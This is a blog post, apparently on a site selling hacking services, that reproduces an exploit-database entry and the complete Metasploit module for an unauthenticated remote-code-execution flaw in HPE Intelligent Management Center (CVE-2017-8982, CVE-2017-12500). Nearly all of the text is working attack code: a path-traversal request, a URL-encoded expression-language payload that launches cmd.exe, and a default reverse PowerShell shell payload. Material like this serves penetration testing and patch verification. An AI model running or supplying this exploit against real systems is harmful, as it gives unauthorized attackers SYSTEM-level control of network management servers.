Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86385199

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: HPE iMC EL Injection Unauthenticated RCE
# Date: 6 February, 2018
# Exploit Author: TrendyTofu
# Vendor Homepage: https://www.hpe.com/us/en/home.html
# Software Link: http://h10145.www1.hpe.com/Downloads/SoftwareReleases.aspx?ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535
# Version: prior to 7.3 E0504P04
# Tested on: iMC PLAT v7.3 (E0504P02), Windows Server 2012R2 x64 (EN)
# CVE : CVE-2017-8982, CVE-2017-12500
# Reference:
https://www.thezdi.com/blog/2018/2/6/one-mans-patch-is-another-mans-treasure-a-tale-of-a-failed-hpe-patch

Metasploit module also hosted on Github.  Posted below for reference:
https://raw.githubusercontent.com/thezdi/scripts/master/msf/hp_imc_el_injection_rce.rb


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HPE iMC EL Injection Unauthenticated RCE',
      'Description'    => %q{
        This module exploits an expression language injection
vulnerablity, along with
        an authentication bypass vulnerability in Hewlett Packard
Enterprise Intelligent
        Management Center before version 7.3 E0504P04 to achieve
remote code execution.

        The HP iMC server suffers from multiple vulnerabilities allows
unauthenticated
        attacker to execute arbitrary Expression Language via the
beanName parameter,
        allowing execution of arbitrary operating system commands as
SYSTEM. This service
        listens on TCP port 8080 and 8443 by default.

        This module has been tested successfully on iMC PLAT v7.3
(E0504P02) on Windows
        2k12r2 x64 (EN).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'mr_me', # Discovery
          'trendytofu' # Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2017-8982'],
          ['ZDI', '18-139'],
          ['URL',
'https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03809en_us'],
          ['CVE', '2017-12500'],
          ['ZDI', '17-663'],
          ['URL',
'https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03768en_us']
        ],
      'Platform'       => 'win',
      'Arch'           => ARCH_CMD,
      'Targets'        => [
                            [ 'Windows',
                              {
                                'Arch' => [ ARCH_CMD],
                                'Platform' => 'win'
                              }
                            ]
                          ],
      'Privileged'     => true,
      'DisclosureDate' => 'Jan 25 2018',
      'DefaultOptions' =>
        {
          'Payload' => 'cmd/windows/reverse_powershell'
        },
      'DefaultTarget'  => 0))
    register_options [Opt::RPORT(8080)]
  end

  def check
    res = send_request_raw({'uri'  => '/imc/login.jsf' })

    return CheckCode::Detected if res && res.code == 200

    CheckCode::Unknown
  end

  def get_payload(cmd)
    %q|facesContext.getExternalContext().redirect(%22%22.getClass().forName(%22javax.script.ScriptEngineManager%22).newInstance().getEngineByName(%22JavaScript%22).eval(%22var%20proc=new%20java.lang.ProcessBuilder[%5C%22(java.lang.String[])%5C%22]([%5C%22cmd.exe%5C%22,%5C%22/c%5C%22,%5C%22|+cmd+%q|%5C%22]).start();%22))|
  end

  def execute_command(payload)
    res = send_request_raw({ 'uri' =>
"/imc/primepush/%2e%2e/ict/export/ictExpertDownload.xhtml?beanName=#{payload}"
})
    fail_with(Msf::Module::Failure::UnexpectedReply, "Injection
failed") if res && res.code != 302
    print_good "Command injected successfully!"
  end

  def exploit
    cmd = payload.encoded
    cmd.gsub!('cmd.exe /c ','')
    cmd = Rex::Text.uri_encode(cmd)

    print_status "Sending payload..."
    execute_command get_payload cmd
  end
end